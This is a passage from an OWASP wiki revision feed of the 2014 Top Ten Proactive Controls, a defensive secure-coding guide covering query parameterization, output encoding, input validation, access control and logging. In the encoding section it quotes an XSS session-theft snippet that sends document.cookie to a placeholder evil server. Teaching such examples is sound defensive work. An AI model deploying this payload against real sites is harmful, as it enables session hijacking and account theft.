&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused. &lt;br /&gt;
&lt;br /&gt;
Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
* [https://code.google.com/p/keyczar/ Google KeyCzar]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] is a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application: where to add sensors or detection points [[AppSensor DetectionPoints]] and what response actions [[AppSensor ResponseActions] to take when an exception is encountered.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of July: Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176572</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176572"/>
				<updated>2014-06-06T17:08:11Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include Unix encoding, Windows encoding, LDAP encoding, XML encoding and others. OWASP's Enterprise Security API (ESAPI) provides encoders for these functions.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
